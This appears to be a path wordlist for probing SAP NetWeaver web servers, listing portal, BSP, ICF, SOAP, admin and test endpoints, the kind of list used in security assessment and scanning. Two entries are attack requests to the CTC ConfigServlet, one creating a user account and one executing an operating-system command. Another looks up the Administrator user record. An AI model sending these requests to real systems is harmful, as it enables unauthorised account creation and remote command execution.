WSConnector/Config1
|
||||
WSConnector/Config1?wsdl
|
||||
WSConnector/Config2
|
||||
_default
|
||||
apidocs/
|
||||
apidocs/allclasses-frame.html
|
||||
apidocs/com/sap/engine/connector/connection/IConnection.html
|
||||
apidocs/com/sap/engine/deploy/manager/Deploymanager.html
|
||||
apidocs/com/sap/engine/deploy/manager/DeploymanagerFactory.html
|
||||
apidocs/com/sap/engine/deploy/manager/LoginInfo.html
|
||||
bcb
|
||||
bcb/
|
||||
bcb/bcbadmHome.jsp
|
||||
bcb/bcbadmNavigation.jsp
|
||||
bcb/bcbadmSettings.jsp
|
||||
bcb/bcbadmStart.jsp
|
||||
bcb/bcbadmSystemInfo.jsp
|
||||
bcbtest
|
||||
bcbtest/start.jsp
|
||||
bwtest
|
||||
caf
|
||||
ccsui
|
||||
com~tc~lm~webadmin~httpprovider~web
|
||||
ctc
|
||||
ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;CREATEUSER;USERNAME=blabla,PASSWORD=blabla
|
||||
ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=ipconfig%20/all
|
||||
dispatcher
|
||||
dswsbobje
|
||||
dtr_lite
|
||||
ecatt
|
||||
entrypoints/recent
|
||||
examples
|
||||
examples.html
|
||||
examples/
|
||||
examples_frame.html
|
||||
exchangeProfile
|
||||
exchangeProfile/
|
||||
guid/e067540a-a84c-2d10-77bf-c941bb5a9c7a
|
||||
htmlb
|
||||
htmlb/
|
||||
htmlb/index.html
|
||||
index.html
|
||||
inspection.wsil
|
||||
ipcpricing/ui/
|
||||
irj
|
||||
irj/go/km/basicsearch
|
||||
irj/go/km/details
|
||||
irj/go/km/docs
|
||||
irj/go/km/docs/etc/public/mimes/images
|
||||
irj/go/km/docs/etc/xmlforms
|
||||
irj/go/km/docs/ume/users
|
||||
irj/go/km/highlightedcontent
|
||||
irj/go/km/navigation
|
||||
irj/go/km/navigation/
|
||||
irj/go/km/navigation/ume/users
|
||||
irj/portal
|
||||
irj/portalapps
|
||||
irj/portalapps/com.petsmart.portal.navigation.masthead.idle_logout
|
||||
irj/portalapps/com.sap.portal.design.portaldesigndata
|
||||
irj/portalapps/com.sap.portal.design.urdesigndata
|
||||
irj/portalapps/com.sap.portal.epcf.loader
|
||||
irj/portalapps/com.sap.portal.navigation.detailedtree
|
||||
irj/sdn/soa-discovery
|
||||
irj/servlet
|
||||
irj/servlet/prt
|
||||
irj/servlet/prt/portal
|
||||
irj/servlet/prt/portal/
|
||||
irj/servlet/prt/portal/prtroot
|
||||
irj/servlet/prt/portal/prtroot/PortalAnywhere.Go
|
||||
irj/servlet/prt/portal/prtroot/com.sap.km.cm.basicsearch
|
||||
irj/servlet/prt/portal/prtroot/com.sap.km.cm.docs -> webdav
|
||||
irj/servlet/prt/portal/prtroot/com.sap.km.cm.highlightedcontent
|
||||
irj/servlet/prt/portal/prtroot/com.sap.km.cm.navigation
|
||||
irj/servlet/prt/portal/prtroot/com.sap.km.cm.uidetails
|
||||
irj/servlet/prt/portal/prtroot/com.sap.km.home_ws
|
||||
irj/servlet/prt/portal/prtroot/com.sap.netweaver.kmc.people.PeopleDetails?Uri=/ume/users/USER.PRIVATE_DATASOURCE.un%253AAdministrator.usr
|
||||
irj/servlet/prt/portal/prtroot/com.sap.portal.dsm.terminator
|
||||
irj/servlet/prt/portal/prtroot/com.sap.portal.epcf.loader.wdscriptblockprovider
|
||||
irj/servlet/prt/portal/prtroot/pcd!(*)
|
||||
irj/servlet/prt/portal/prttarget/uidpwlogon/prteventname/performchangepassword
|
||||
lcrabapapi
|
||||
logon
|
||||
logon/index.jsp
|
||||
logon/logonServlet
|
||||
logon/logonServlet?redirectURL=%2FVC%2Fdefault.jsp
|
||||
logon/logonServlet?redirectURL=%2Fuseradmin%2FuserAdminServlet
|
||||
main.html
|
||||
mbeanreg
|
||||
meSync
|
||||
meSync/HttpGRMGTest.html
|
||||
mmr
|
||||
mmr/
|
||||
modeller/
|
||||
modeller/index.html
|
||||
monitoring
|
||||
monitoringProvierRoot
|
||||
nwa
|
||||
performanceProvierRoot
|
||||
pmi
|
||||
portal
|
||||
portalapps
|
||||
rep/build_info.html
|
||||
rep/build_info.jsp
|
||||
rep/start/index.jsp
|
||||
run/build_info.html
|
||||
run/build_info.jsp
|
||||
rwb/version.html
|
||||
saml
|
||||
samlssodemo_dest
|
||||
samlssodemo_source
|
||||
sap
|
||||
sap/
|
||||
sap/IStest
|
||||
sap/admin
|
||||
sap/admin/default.html
|
||||
sap/admin/index.html
|
||||
sap/ap
|
||||
sap/bc
|
||||
sap/bc/
|
||||
sap/bc/BEx
|
||||
sap/bc/FormToRfc
|
||||
sap/bc/FormToRfc/soap
|
||||
sap/bc/IDoc_XML
|
||||
sap/bc/MIDSD
|
||||
sap/bc/MJC
|
||||
sap/bc/MJC/
|
||||
sap/bc/MJC/mi_host
|
||||
sap/bc/MJC/mi_mds
|
||||
sap/bc/MJC/mi_service
|
||||
sap/bc/MJC/mi_services
|
||||
sap/bc/MY_NEW_SERV99
|
||||
sap/bc/Mi_host_http
|
||||
sap/bc/Mime
|
||||
sap/bc/bsp
|
||||
sap/bc/bsp/
|
||||
sap/bc/bsp/esh_os_service/favicon.gif
|
||||
sap/bc/bsp/sap
|
||||
sap/bc/bsp/sap/
|
||||
sap/bc/bsp/sap/SXSLT_DEMO
|
||||
sap/bc/bsp/sap/absenceform_new
|
||||
sap/bc/bsp/sap/alertinbox
|
||||
sap/bc/bsp/sap/alertinboxwap
|
||||
sap/bc/bsp/sap/bexlogon
|
||||
sap/bc/bsp/sap/bkbtest
|
||||
sap/bc/bsp/sap/bkbtest_sch
|
||||
sap/bc/bsp/sap/brf_export_xml
|
||||
sap/bc/bsp/sap/brf_info
|
||||
sap/bc/bsp/sap/bsp_dlc_frcmp
|
||||
sap/bc/bsp/sap/bsp_model
|
||||
sap/bc/bsp/sap/bsp_veri
|
||||
sap/bc/bsp/sap/bsp_verificatio
|
||||
sap/bc/bsp/sap/bsp_vhelp
|
||||
sap/bc/bsp/sap/bsp_wd_base
|
||||
sap/bc/bsp/sap/bsp_wd_comp_spl
|
||||
sap/bc/bsp/sap/bsp_wd_compbase
|
||||
sap/bc/bsp/sap/bsp_wd_ddlb_spl
|
||||
sap/bc/bsp/sap/bsp_wd_tree_spl
|
||||
sap/bc/bsp/sap/bspwd_basics
|
||||
sap/bc/bsp/sap/bspwd_cmp_embed
|
||||
sap/bc/bsp/sap/bspwd_simple
|
||||
sap/bc/bsp/sap/btf_ext_demo
|
||||
sap/bc/bsp/sap/ccms_mc
|
||||
sap/bc/bsp/sap/certmap
|
||||
sap/bc/bsp/sap/certreq
|
||||
sap/bc/bsp/sap/crm_bm
|
||||
sap/bc/bsp/sap/crm_bsp_bab_dis
|
||||
sap/bc/bsp/sap/crm_bsp_bab_dss
|
||||
sap/bc/bsp/sap/crm_bsp_bab_exi
|
||||
sap/bc/bsp/sap/crm_bsp_bab_fra
|
||||
sap/bc/bsp/sap/crm_bsp_bab_pan
|
||||
sap/bc/bsp/sap/crm_bsp_f1_help
|
||||
sap/bc/bsp/sap/crm_bsp_f4_help
|
||||
sap/bc/bsp/sap/crm_bsp_face
|
||||
sap/bc/bsp/sap/crm_bsp_frame
|
||||
sap/bc/bsp/sap/crm_bsp_listper
|
||||
sap/bc/bsp/sap/crm_bsp_lst_prt
|
||||
sap/bc/bsp/sap/crm_bsp_xbab_fr
|
||||
sap/bc/bsp/sap/crm_bsp_xbab_pa
|
||||
sap/bc/bsp/sap/crm_ei_cmp_admn
|
||||
sap/bc/bsp/sap/crm_ic_check
|
||||
sap/bc/bsp/sap/crm_ic_ise
|
||||
sap/bc/bsp/sap/crm_ic_ise/editor
|
||||
sap/bc/bsp/sap/crm_ic_mcm
|
||||
sap/bc/bsp/sap/crm_ic_preview
|
||||
sap/bc/bsp/sap/crm_ic_xmledit
|
||||
sap/bc/bsp/sap/crm_ici_tst_cat
|
||||
sap/bc/bsp/sap/crm_ml_preview
|
||||
sap/bc/bsp/sap/crm_preview
|
||||
sap/bc/bsp/sap/crm_prt_url_dis
|
||||
sap/bc/bsp/sap/crm_thtmlb_util
|
||||
sap/bc/bsp/sap/crm_ui_frame
|
||||
sap/bc/bsp/sap/crm_ui_start
|
||||
sap/bc/bsp/sap/crm_xml_test
|
||||
sap/bc/bsp/sap/crmcmp_bpident/
|
||||
sap/bc/bsp/sap/crmcmp_brfcase
|
||||
sap/bc/bsp/sap/crmcmp_hdr
|
||||
sap/bc/bsp/sap/crmcmp_hdr_std
|
||||
sap/bc/bsp/sap/crmcmp_ic_frame
|
||||
sap/bc/bsp/sap/decode_url
|
||||
sap/bc/bsp/sap/ecteched
|
||||
sap/bc/bsp/sap/esh_sap_link
|
||||
sap/bc/bsp/sap/esh_sapgui_exe
|
||||
sap/bc/bsp/sap/frontend_print
|
||||
sap/bc/bsp/sap/graph_bsp_test
|
||||
sap/bc/bsp/sap/graph_bsp_test/Mimes
|
||||
sap/bc/bsp/sap/graph_tut_chart
|
||||
sap/bc/bsp/sap/graph_tut_chart/Mimes
|
||||
sap/bc/bsp/sap/graph_tut_jnet
|
||||
sap/bc/bsp/sap/graph_tut_jnet/Mimes
|
||||
sap/bc/bsp/sap/graph_tutorials
|
||||
sap/bc/bsp/sap/graph_tutorials/mimes
|
||||
sap/bc/bsp/sap/gsbirp
|
||||
sap/bc/bsp/sap/hap_document
|
||||
sap/bc/bsp/sap/hap_q_profile
|
||||
sap/bc/bsp/sap/hr_expert
|
||||
sap/bc/bsp/sap/htmlb_samples
|
||||
sap/bc/bsp/sap/ic_base
|
||||
sap/bc/bsp/sap/ic_frw_notify
|
||||
sap/bc/bsp/sap/iccmp_bp_cnfirm
|
||||
sap/bc/bsp/sap/iccmp_hdr_cntnr
|
||||
sap/bc/bsp/sap/iccmp_hdr_cntnt
|
||||
sap/bc/bsp/sap/iccmp_header
|
||||
sap/bc/bsp/sap/iccmp_ssc_ll/
|
||||
sap/bc/bsp/sap/icf
|
||||
sap/bc/bsp/sap/icf_notify_poll
|
||||
sap/bc/bsp/sap/icfrecorder
|
||||
sap/bc/bsp/sap/icm
|
||||
sap/bc/bsp/sap/it00
|
||||
sap/bc/bsp/sap/it01
|
||||
sap/bc/bsp/sap/it02
|
||||
sap/bc/bsp/sap/it03
|
||||
sap/bc/bsp/sap/it04
|
||||
sap/bc/bsp/sap/it05
|
||||
sap/bc/bsp/sap/itsm
|
||||
sap/bc/bsp/sap/me_fw_install
|
||||
sap/bc/bsp/sap/merep_app_meta
|
||||
sap/bc/bsp/sap/ppm
|
||||
sap/bc/bsp/sap/ppm_detail
|
||||
sap/bc/bsp/sap/public
|
||||
sap/bc/bsp/sap/public/
|
||||
sap/bc/bsp/sap/public/FormGraphics
|
||||
sap/bc/bsp/sap/public/bc
|
||||
sap/bc/bsp/sap/public/graphics
|
||||
sap/bc/bsp/sap/rmpspb_case
|
||||
sap/bc/bsp/sap/rmpspb_casenote
|
||||
sap/bc/bsp/sap/rsrthemes_iview
|
||||
sap/bc/bsp/sap/sam_demo
|
||||
sap/bc/bsp/sap/sam_notifying
|
||||
sap/bc/bsp/sap/sam_sess_queue
|
||||
sap/bc/bsp/sap/sapsign
|
||||
sap/bc/bsp/sap/sapterm
|
||||
sap/bc/bsp/sap/sbsp_dal_demo
|
||||
sap/bc/bsp/sap/sbspext_bsp
|
||||
sap/bc/bsp/sap/sbspext_htmlb
|
||||
sap/bc/bsp/sap/sbspext_phtmlb
|
||||
sap/bc/bsp/sap/sbspext_table
|
||||
sap/bc/bsp/sap/sbspext_xhtmlb
|
||||
sap/bc/bsp/sap/scpbspconvertuc
|
||||
sap/bc/bsp/sap/sem_upwb
|
||||
sap/bc/bsp/sap/sf_webform_01
|
||||
sap/bc/bsp/sap/sf_webform_02
|
||||
sap/bc/bsp/sap/sf_webform_03
|
||||
sap/bc/bsp/sap/sf_webform_04
|
||||
sap/bc/bsp/sap/sfint_demo01
|
||||
sap/bc/bsp/sap/sfint_demo02
|
||||
sap/bc/bsp/sap/sfint_demo03
|
||||
sap/bc/bsp/sap/sfint_demo04
|
||||
sap/bc/bsp/sap/sicf_login_test
|
||||
sap/bc/bsp/sap/sicf_login_test/
|
||||
sap/bc/bsp/sap/sicf_login_test/test
|
||||
sap/bc/bsp/sap/sicf_login_test/testNoRedirect
|
||||
sap/bc/bsp/sap/smart_forms
|
||||
sap/bc/bsp/sap/spi_admin
|
||||
sap/bc/bsp/sap/spi_monitor
|
||||
sap/bc/bsp/sap/spi_procmonitor
|
||||
sap/bc/bsp/sap/srm_demo_bspext
|
||||
sap/bc/bsp/sap/srm_demo_note
|
||||
sap/bc/bsp/sap/srm_demo_record
|
||||
sap/bc/bsp/sap/srm_doc_test
|
||||
sap/bc/bsp/sap/srm_gensp_query
|
||||
sap/bc/bsp/sap/srm_note
|
||||
sap/bc/bsp/sap/srm_prop
|
||||
sap/bc/bsp/sap/srm_record
|
||||
sap/bc/bsp/sap/srmclfrm
|
||||
sap/bc/bsp/sap/srmps_browser
|
||||
sap/bc/bsp/sap/srmps_favorites
|
||||
sap/bc/bsp/sap/srmps_history
|
||||
sap/bc/bsp/sap/srmps_metadata
|
||||
sap/bc/bsp/sap/srmps_search
|
||||
sap/bc/bsp/sap/srt_browser
|
||||
sap/bc/bsp/sap/ssf_techinf
|
||||
sap/bc/bsp/sap/ssfdemodigsig
|
||||
sap/bc/bsp/sap/ssfdemodigsig2
|
||||
sap/bc/bsp/sap/swfmod_portal
|
||||
sap/bc/bsp/sap/swh_demo_calc
|
||||
sap/bc/bsp/sap/swn_config
|
||||
sap/bc/bsp/sap/swn_message1
|
||||
sap/bc/bsp/sap/swn_wiexecute
|
||||
sap/bc/bsp/sap/swxtraagent
|
||||
sap/bc/bsp/sap/swxtrareq
|
||||
sap/bc/bsp/sap/sxidemo_agcy_ui
|
||||
sap/bc/bsp/sap/sxms_alertrules
|
||||
sap/bc/bsp/sap/sxslt_training
|
||||
sap/bc/bsp/sap/system
|
||||
sap/bc/bsp/sap/system640
|
||||
sap/bc/bsp/sap/system_priv_01
|
||||
sap/bc/bsp/sap/system_priv_02
|
||||
sap/bc/bsp/sap/system_priv_03
|
||||
sap/bc/bsp/sap/system_private
|
||||
sap/bc/bsp/sap/system_public
|
||||
sap/bc/bsp/sap/system_test
|
||||
sap/bc/bsp/sap/t_sam_demo
|
||||
sap/bc/bsp/sap/thtmlb_scripts
|
||||
sap/bc/bsp/sap/thtmlb_styles
|
||||
sap/bc/bsp/sap/tunguska
|
||||
sap/bc/bsp/sap/tunguska_detail
|
||||
sap/bc/bsp/sap/tutorial_1
|
||||
sap/bc/bsp/sap/tutorial_2
|
||||
sap/bc/bsp/sap/tutorial_2htmlb
|
||||
sap/bc/bsp/sap/tutorial_3
|
||||
sap/bc/bsp/sap/tutorial_3_mvc
|
||||
sap/bc/bsp/sap/tutorial_4
|
||||
sap/bc/bsp/sap/tutorial_4_mvc
|
||||
sap/bc/bsp/sap/tutorial_cache
|
||||
sap/bc/bsp/sap/uddiclientfind
|
||||
sap/bc/bsp/sap/uddiclpublish
|
||||
sap/bc/bsp/sap/uicmp_ltx
|
||||
sap/bc/bsp/sap/upwb_sem
|
||||
sap/bc/bsp/sap/upwb_test_otr
|
||||
sap/bc/bsp/sap/upx_exec
|
||||
sap/bc/bsp/sap/upx_exec2
|
||||
sap/bc/bsp/sap/uws_form_servic
|
||||
sap/bc/bsp/sap/wap_push
|
||||
sap/bc/bsp/sap/webdynprodemos
|
||||
sap/bc/bsp/sap/wp_sess_test2
|
||||
sap/bc/bsp/sap/wscb
|
||||
sap/bc/bsp/sap/wsi_oci_bsp
|
||||
sap/bc/bsp/sap/wsi_oci_bsp_mvc
|
||||
sap/bc/bsp/sap/xi_pf_perf_moni
|
||||
sap/bc/bsp/sap/xi_pf_test
|
||||
sap/bc/bsp/sap/xmb_bsp_log
|
||||
sap/bc/bsp/scmb
|
||||
sap/bc/bsp/scmb/df_web2
|
||||
sap/bc/bsp_dev
|
||||
sap/bc/bw_test
|
||||
sap/bc/cachetest
|
||||
sap/bc/ccms
|
||||
sap/bc/ccms/
|
||||
sap/bc/ccms//Specto
|
||||
sap/bc/ccms/MarketSet
|
||||
sap/bc/ccms/monitoring
|
||||
sap/bc/ccms/monitoring/GRMG_APP
|
||||
sap/bc/ccms/monitoringCCMS_XML
|
||||
sap/bc/ce_url
|
||||
sap/bc/cimom
|
||||
sap/bc/cms
|
||||
sap/bc/contentserver
|
||||
sap/bc/crm_bsp_dl
|
||||
sap/bc/dal
|
||||
sap/bc/dal/demoB
|
||||
sap/bc/daldemoA
|
||||
sap/bc/doc
|
||||
sap/bc/doc/
|
||||
sap/bc/doc/browser
|
||||
sap/bc/doc/mast
|
||||
sap/bc/doc/meta
|
||||
sap/bc/doc/metadata
|
||||
sap/bc/doc/tmpl
|
||||
sap/bc/doc/tran
|
||||
sap/bc/docu
|
||||
sap/bc/dr
|
||||
sap/bc/ecatt
|
||||
sap/bc/ecatt/
|
||||
sap/bc/ecatt/ecatt_recorder
|
||||
sap/bc/ecatt/ecattping
|
||||
sap/bc/ecatt/log_provider
|
||||
sap/bc/echo
|
||||
sap/bc/echo/
|
||||
sap/bc/echo/logon
|
||||
sap/bc/echo/logon_base64
|
||||
sap/bc/echo/redirect
|
||||
sap/bc/error
|
||||
sap/bc/error/
|
||||
sap/bc/error/list
|
||||
sap/bc/error/template
|
||||
sap/bc/error/webgui
|
||||
sap/bc/esf
|
||||
sap/bc/formabsdelete
|
||||
sap/bc/fp
|
||||
sap/bc/fpads
|
||||
sap/bc/generate
|
||||
sap/bc/generate/poll
|
||||
sap/bc/graphics
|
||||
sap/bc/graphics/net
|
||||
sap/bc/gui
|
||||
sap/bc/gui/its
|
||||
sap/bc/gui/sap
|
||||
sap/bc/gui/sap/its/
|
||||
sap/bc/gui/sap/its/BWSP
|
||||
sap/bc/gui/sap/its/BWWF_WI_DECI
|
||||
sap/bc/gui/sap/its/BWWI_EXECUTE
|
||||
sap/bc/gui/sap/its/CCMS_APPSRVLIS
|
||||
sap/bc/gui/sap/its/CCMS_DBBUFARCH
|
||||
sap/bc/gui/sap/its/CERTMAP
|
||||
sap/bc/gui/sap/its/CERTREQ
|
||||
sap/bc/gui/sap/its/CRM_CIC_RABOX
|
||||
sap/bc/gui/sap/its/GRM_WRAPPER
|
||||
sap/bc/gui/sap/its/MININOTES
|
||||
sap/bc/gui/sap/its/MY_PROFILEMATC
|
||||
sap/bc/gui/sap/its/RSAU_STATUS
|
||||
sap/bc/gui/sap/its/SAPSIGN
|
||||
sap/bc/gui/sap/its/SAP_GENERATE
|
||||
sap/bc/gui/sap/its/SSFIDEMODIGSIG
|
||||
sap/bc/gui/sap/its/STATUSPANEL
|
||||
sap/bc/gui/sap/its/STERM_ITS
|
||||
sap/bc/gui/sap/its/TEST_XMLPARSER
|
||||
sap/bc/gui/sap/its/WSI_OCI_ITS
|
||||
sap/bc/gui/sap/its/XML_DTD_01
|
||||
sap/bc/gui/sap/its/alinkviewer
|
||||
sap/bc/gui/sap/its/bwca
|
||||
sap/bc/gui/sap/its/designs
|
||||
sap/bc/gui/sap/its/my_qualis
|
||||
sap/bc/gui/sap/its/my_requirement
|
||||
sap/bc/gui/sap/its/sample
|
||||
sap/bc/gui/sap/its/sample/
|
||||
sap/bc/gui/sap/its/sample/IAC_CALENDAR
|
||||
sap/bc/gui/sap/its/sample/IAC_FLIGHT
|
||||
sap/bc/gui/sap/its/sample/IAC_INPUT
|
||||
sap/bc/gui/sap/its/sample/IAC_SE38
|
||||
sap/bc/gui/sap/its/sample/IAC_TABLE
|
||||
sap/bc/gui/sap/its/sample/IAC_TEXTEDIT
|
||||
sap/bc/gui/sap/its/sample/IAC_TOOLBAR
|
||||
sap/bc/gui/sap/its/sample/IAC_TREE1
|
||||
sap/bc/gui/sap/its/sample/IAC_TREE2
|
||||
sap/bc/gui/sap/its/sample/iAC_HTML
|
||||
sap/bc/gui/sap/its/test
|
||||
sap/bc/gui/sap/its/test/
|
||||
sap/bc/gui/sap/its/test/it
|
||||
sap/bc/gui/sap/its/test/it/
|
||||
sap/bc/gui/sap/its/test/it/IT12
|
||||
sap/bc/gui/sap/its/test/it/IT13
|
||||
sap/bc/gui/sap/its/test/it/ITRBX
|
||||
sap/bc/gui/sap/its/test/it/it00
|
||||
sap/bc/gui/sap/its/test/it/it19
|
||||
sap/bc/gui/sap/its/test/webgui_end
|
||||
sap/bc/gui/sap/its/test/webgui_tj
|
||||
sap/bc/gui/sap/its/test/webgui_txend
|
||||
sap/bc/gui/sap/its/webgui
|
||||
sap/bc/gui/sap/its/webgui/!
|
||||
sap/bc/icf
|
||||
sap/bc/icf/
|
||||
sap/bc/icf/demo
|
||||
sap/bc/icf/demo/example_1
|
||||
sap/bc/icf/recorder
|
||||
sap/bc/icf/verification
|
||||
sap/bc/icman
|
||||
sap/bc/icman/test01
|
||||
sap/bc/idoc_xml
|
||||
sap/bc/igs_data
|
||||
sap/bc/kw
|
||||
sap/bc/kw/
|
||||
sap/bc/kw/K/Link
|
||||
sap/bc/kw/fs
|
||||
sap/bc/kw/mime
|
||||
sap/bc/kw/skwr
|
||||
sap/bc/mlt
|
||||
sap/bc/mlt/
|
||||
sap/bc/mlt//vb
|
||||
sap/bc/mlt/slim
|
||||
sap/bc/mlt/slim/
|
||||
sap/bc/mlt/slim//lang_plus
|
||||
sap/bc/mlt/slim/branching
|
||||
sap/bc/mlt/slim/pcx
|
||||
sap/bc/mlt/slim/pcx_plus
|
||||
sap/bc/mlt/test
|
||||
sap/bc/mlt/tmware
|
||||
sap/bc/mlt/trados
|
||||
sap/bc/notify
|
||||
sap/bc/notify/polling
|
||||
sap/bc/ping
|
||||
sap/bc/print
|
||||
sap/bc/rehm
|
||||
sap/bc/report
|
||||
sap/bc/sapits_mimes
|
||||
sap/bc/smart_forms
|
||||
sap/bc/soap
|
||||
sap/bc/soap/
|
||||
sap/bc/soap/doc
|
||||
sap/bc/soap/ici
|
||||
sap/bc/soap/ici_ssl
|
||||
sap/bc/soap/rfc
|
||||
sap/bc/soap/wsdl
|
||||
sap/bc/soap/wsdl11
|
||||
sap/bc/soap/wsdlservices
|
||||
sap/bc/spi_gate
|
||||
sap/bc/srm
|
||||
sap/bc/srm/rcm_webdav
|
||||
sap/bc/srm/rcm_webdav/
|
||||
sap/bc/srm/rcm_webdav/s_area_cmg
|
||||
sap/bc/srm/rcm_webdav/s_area_rms
|
||||
sap/bc/srt
|
||||
sap/bc/srt/
|
||||
sap/bc/srt/IDoc
|
||||
sap/bc/srt/esf
|
||||
sap/bc/srt/rfc
|
||||
sap/bc/srt/rfc/
|
||||
sap/bc/srt/rfc/OSP
|
||||
sap/bc/srt/rfc/sap
|
||||
sap/bc/srt/sap/
|
||||
sap/bc/srt/sap/Detailed_flight_info_get
|
||||
sap/bc/srt/sap/ER_REGISTRY_SUPPORT_SERVICE
|
||||
sap/bc/srt/sap/II_TEST_IN_SYNC
|
||||
sap/bc/srt/sap/ME_RT_DSD_WS_64
|
||||
sap/bc/srt/sap/QUERY_VIEW_DATA
|
||||
sap/bc/srt/sap/RSDAW_NEARLINE_SERVER
|
||||
sap/bc/srt/sap/RSOBJSALTERNODEREFS
|
||||
sap/bc/srt/sap/RSOBJS_ALTER_NODE_REFS
|
||||
sap/bc/srt/sap/RSOBJS_CHECK
|
||||
sap/bc/srt/sap/RSOBJS_DELETE
|
||||
sap/bc/srt/sap/RSOBJS_GET_NODES
|
||||
sap/bc/srt/sap/RSOBJS_INIT
|
||||
sap/bc/srt/sap/RSOBJS_WHERE_USED_LIST
|
||||
sap/bc/srt/sap/RSPO_SXOMS_DEFINE_PRINTER
|
||||
sap/bc/srt/sap/RSPO_SXOMS_DELETE_PRINTER
|
||||
sap/bc/srt/sap/RSPO_SXOMS_GET_DEVICE_TYPES
|
||||
sap/bc/srt/sap/RSPO_SXOMS_GET_TRAY_INFO
|
||||
sap/bc/srt/sap/RSPO_SXOMS_PUSH_ROMS_LOMS
|
||||
sap/bc/srt/sap/RSPO_SXOMS_UPDATE_PRINTER
|
||||
sap/bc/srt/sap/SAP_RPE_SEQUENCE
|
||||
sap/bc/srt/sap/SBIZC_AUTHOR
|
||||
sap/bc/srt/sap/SBIZC_AUTHORING
|
||||
sap/bc/srt/sap/SBIZC_DETAIL
|
||||
sap/bc/srt/sap/SBIZC_TEST_AUTHOR_INIT
|
||||
sap/bc/srt/sap/SBIZC_WS_TEST
|
||||
sap/bc/srt/sap/SRTFT_MASS_CONFIGURATION
|
||||
sap/bc/srt/sap/SRTFT_SYSTEM_METADATA_ACCESS
|
||||
sap/bc/srt/sap/SRT_TESTS_FB_ADD_WS
|
||||
sap/bc/srt/sap/SRT_TESTS_FB_PAR_TEST01_WS
|
||||
sap/bc/srt/sap/SRT_TESTS_FB_PAR_TEST02_WS
|
||||
sap/bc/srt/sap/SRT_TESTS_FB_PAR_TEST03_WS
|
||||
sap/bc/srt/sap/SRT_TESTS_FB_SUM_WS
|
||||
sap/bc/srt/sap/SXIDAL_FLIGHTSEATAVAIL_CHECK
|
||||
sap/bc/srt/sap/SYNCCALLSECURITYHIGHNOAUTOGEN
|
||||
sap/bc/srt/sap/SYNCCALLSECURITYLOWAUTOGEN
|
||||
sap/bc/srt/sap/TEST_WEBSERVICE_WRITE
|
||||
sap/bc/srt/sap/WDYBUILDINBOX
|
||||
sap/bc/srt/sap/WDYGETDC
|
||||
sap/bc/srt/sap/WDYGETTF
|
||||
sap/bc/srt/sap/WDYSETDC
|
||||
sap/bc/srt/sap/WDYUPDATETF
|
||||
sap/bc/srt/sap/WS_ORDER_BE_IN
|
||||
sap/bc/srt/sap/ob_wsd_test02
|
||||
sap/bc/srt/sap/xmla
|
||||
sap/bc/srt/wsil
|
||||
sap/bc/srt/xip
|
||||
sap/bc/srt/xip/sap
|
||||
sap/bc/testzone
|
||||
sap/bc/testzone/
|
||||
sap/bc/testzone/depot_select
|
||||
sap/bc/testzone/result_rep
|
||||
sap/bc/verification/
|
||||
sap/bc/verification/itsplugin
|
||||
sap/bc/verification/stateful_ping
|
||||
sap/bc/wappush
|
||||
sap/bc/wd_trace_tool
|
||||
sap/bc/wdvd
|
||||
sap/bc/webapp
|
||||
sap/bc/webdynpro
|
||||
sap/bc/webdynpro/sap
|
||||
sap/bc/webdynpro/sap/
|
||||
sap/bc/webdynpro/sap/CCMSBI_WAST_EXTR_TESTENV
|
||||
sap/bc/webdynpro/sap/CNP_LIGHT_TEST
|
||||
sap/bc/webdynpro/sap/DBA_COCKPIT
|
||||
sap/bc/webdynpro/sap/DEMO_CONTEXT_CHANGES
|
||||
sap/bc/webdynpro/sap/DEMO_ROADMAP
|
||||
sap/bc/webdynpro/sap/DEMO_SIMPLE_MAIN
|
||||
sap/bc/webdynpro/sap/DEMO_TABLE
|
||||
sap/bc/webdynpro/sap/DEMO_TABLE_WITH_TREE_BY_KEY
|
||||
sap/bc/webdynpro/sap/DEMO_TABLE_WITH_TREE_BY_NST
|
||||
sap/bc/webdynpro/sap/DemoDynamic
|
||||
sap/bc/webdynpro/sap/DemoTree
|
||||
sap/bc/webdynpro/sap/EXAMPLE_WDABAP_3
|
||||
sap/bc/webdynpro/sap/KEY_FIGURE_MONITOR
|
||||
sap/bc/webdynpro/sap/KEY_FIGURE_TREND
|
||||
sap/bc/webdynpro/sap/MASTERMIND
|
||||
sap/bc/webdynpro/sap/OTHELLO
|
||||
sap/bc/webdynpro/sap/POWL
|
||||
sap/bc/webdynpro/sap/POWL_COLLECTOR
|
||||
sap/bc/webdynpro/sap/POWL_MASTER_QUERY
|
||||
sap/bc/webdynpro/sap/POWL_PERS_COMP
|
||||
sap/bc/webdynpro/sap/RCM_DOC_CLIENT_test
|
||||
sap/bc/webdynpro/sap/RCM_ORGANIZER
|
||||
sap/bc/webdynpro/sap/RCM_RECORD
|
||||
sap/bc/webdynpro/sap/RCM_SP
|
||||
sap/bc/webdynpro/sap/RCM_SP_URL
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_ALVFNC
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_COLORS
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_COLSCR
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_CV
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_EDIT
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_EVENTS
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_F4
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_MIG
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_PARTS
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_PROPS
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_SIMPLE
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_TOL
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_TOOLBR
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_TREE
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_DATA
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_DATA_DOWNLOAD
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_ALVFNC
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_COLORS
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_COLSCR
|
||||
